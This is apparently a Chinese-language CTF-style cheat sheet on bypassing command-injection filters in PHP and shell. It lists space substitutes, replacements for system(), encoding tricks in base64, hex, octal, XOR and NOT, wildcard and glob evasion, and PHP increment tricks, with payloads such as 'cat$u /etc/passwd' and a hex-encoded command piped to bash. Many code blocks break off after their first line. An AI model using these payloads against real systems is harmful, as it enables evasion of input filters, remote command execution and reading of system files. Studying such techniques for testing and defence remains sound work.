绕过空格
1 | $IFS` `${IFS}` `$IFS$9` `%09` `<、>` `<>` `{,} |
以上符号均可对空格进行绕过,注:<>为重定向符
举例:cat$IFS$9flag、{cat,flag}
system函数替换
passthru() :执行命令并直接传递原始输出,适用于处理二进制数据
exec():执行命令并将输出捕获到数组中,适用于需要处理或操作输出的情况
shell_exec():执行命令并将整个输出作为字符串返回,适用于需要获取完整输出并进一步处理的情况
popen():打开一个进程管道,可以读写命令的输出或输入,适用于需要与进程交互的情况
proc_open():不仅可以执行命令,还能创建一个进程并提供对该进程的标准输入、标准输出和标准错误流的访问
pcntl_exec():一个底层函数,用于在当前进程空间中执行一个程序。这意味着调用 pcntl_exec() 后,当前 PHP 脚本会被替换为新执行的程序,不会返回到 PHP 脚本继续执行
var_dump(``):使用反引号/$()进行命令执行,使用该函数进行回显
printf(``):使用反引号/$()进行命令执行,使用该函数进行回显
| 函数名 | 描述 | 输出方式 | 是否返回输出 | 输入输出交互 | 适用场景 |
|---|---|---|---|---|---|
system() |
执行命令并输出结果 | 直接输出 | 返回最后一行输出 | 否 | 执行命令并立即查看结果 |
passthru() |
执行命令并传递原始输出 | 直接输出 | 否 | 否 | 处理二进制数据或大输出 |
exec() |
执行命令并捕获输出 | 不输出 | 返回最后一行输出 | 否 | 捕获输出到数组进行处理 |
shell_exec() |
执行命令并返回输出 | 不输出 | 返回整个输出 | 否 | 获取完整输出作为字符串 |
popen() |
打开进程管道进行读/写 | 通过管道 | 否 | 是 | 需要与子进程交互 |
proc_open() |
打开进程并提供管道 | 通过管道 | 否 | 是 | 复杂的进程控制和交互 |
pcntl_exec() |
替换当前进程并执行命令 | 不输出 | 否 | 否 | 完全替换当前进程 |
| 反引号(``) | 执行命令并返回输出 | 不输出 | 返回整个输出 | 否 | 获取完整输出作为字符串 |
$() |
执行命令并返回输出 | 不输出 | 返回整个输出 | 否 | 获取完整输出作为字符串 |
printf() |
格式化并输出字符串 | 直接输出 | 否 | 否 | 格式化输出 |
var_dump() |
输出变量的详细信息 | 直接输出 | 否 | 否 | 调试输出变量信息 |
ls命令替换
可以使用 echo 命令和通配符 * 列出当前目录下的文件和目录。
1 | $output = `echo *`; |
stat 命令可以获取文件或目录的详细信息,可以用来实现类似于 ls 的功能。
1 | $output = `stat *`; |
使用PHP 内置函数 scandir()
1 |
|
使用PHP 内置函数 opendir() 和 readdir()
1 |
|
1 | du -ah -d | bash |
Windows 常见管道符:
|:管道符,直接执行后面的语句。||:逻辑或,如果前一个命令执行失败,则执行后面的命令。&:并行执行,允许同时执行两个命令,并且不管第一个命令是否成功。&&:逻辑与,如果前一个命令执行成功,则执行后面的命令。
Linux 常见管道符:
;:命令分隔符,用于分隔多个命令,按照顺序执行。|:管道符,显示后面语句的执行结果。||:逻辑或,如果前一个命令执行失败,则执行后面的命令。&:在后台执行,允许同时执行两个命令,不阻塞当前 shell,可以继续输入其他命令。&&:逻辑与,如果前一个命令执行成功,则执行后面的命令。
变量拼接绕过
1 | a = c ; b = a ; c = t ; |
base编码绕过
1 | echo 'cat' | base64 // Y2F0wqAK |
hex编码绕过(十六进制)
1 | echo "636174202F6574632F706173737764" | xxd -r -p | bash |
oct编码绕过(八进制)
1 | $(printf "\154\163") //ls |
字符拼接绕过
1 | (sy.(st).em)(whoami); |
$* 和 $@,$x (x 代表 1-9), ${x} (x>=10),比如ca${21}t a.txt表示cat a.txt,在没有传入参数的情况下,这些特殊字符默认为空
未初始化变量$u绕过
1 | cat$u /etc/passwd |
“/”绕过
利用“;”拼接命令绕过
chr(47)
通配符绕过
1 | ca? flag //?代表一个字符通配 |
glob通配符
“ [A-Fa-f0-9] ”相当于 “ [ABCDEFabcdef0123456789] “
“ [-%] ”代表“ [!”#$%] ”
“ [az] ”代表“任何 小写字母”
利用[@-[]来表示大写字母
[…]表示匹配方括号之中的任意一个字符
{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
{…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开
自增绕过
1 |
|
$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
1 | "A"++ ==> "B" |
也就是说,如果我们能够得到”A”,那么我们就能通过自增自减,得到所有的字母。 那么问题就转化为怎么得到一个字符”A”。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为”Array”。再取这个字符串的第一个字母,就可以获得”A”。
$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字
1 |
|
异或绕过
脚本如下:
1 | def encode(command): |
取反绕过
1 |
|
先将命令进行取反然后上传的时候添加一个~符号,在服务器上再次进行取反操作
则phpinfo(); => (~‘%8F%97%8F%96%91%99%90’)();
文件读取命令替换
1 | cat--由第一行开始显示内容,并将所有内容输出 |

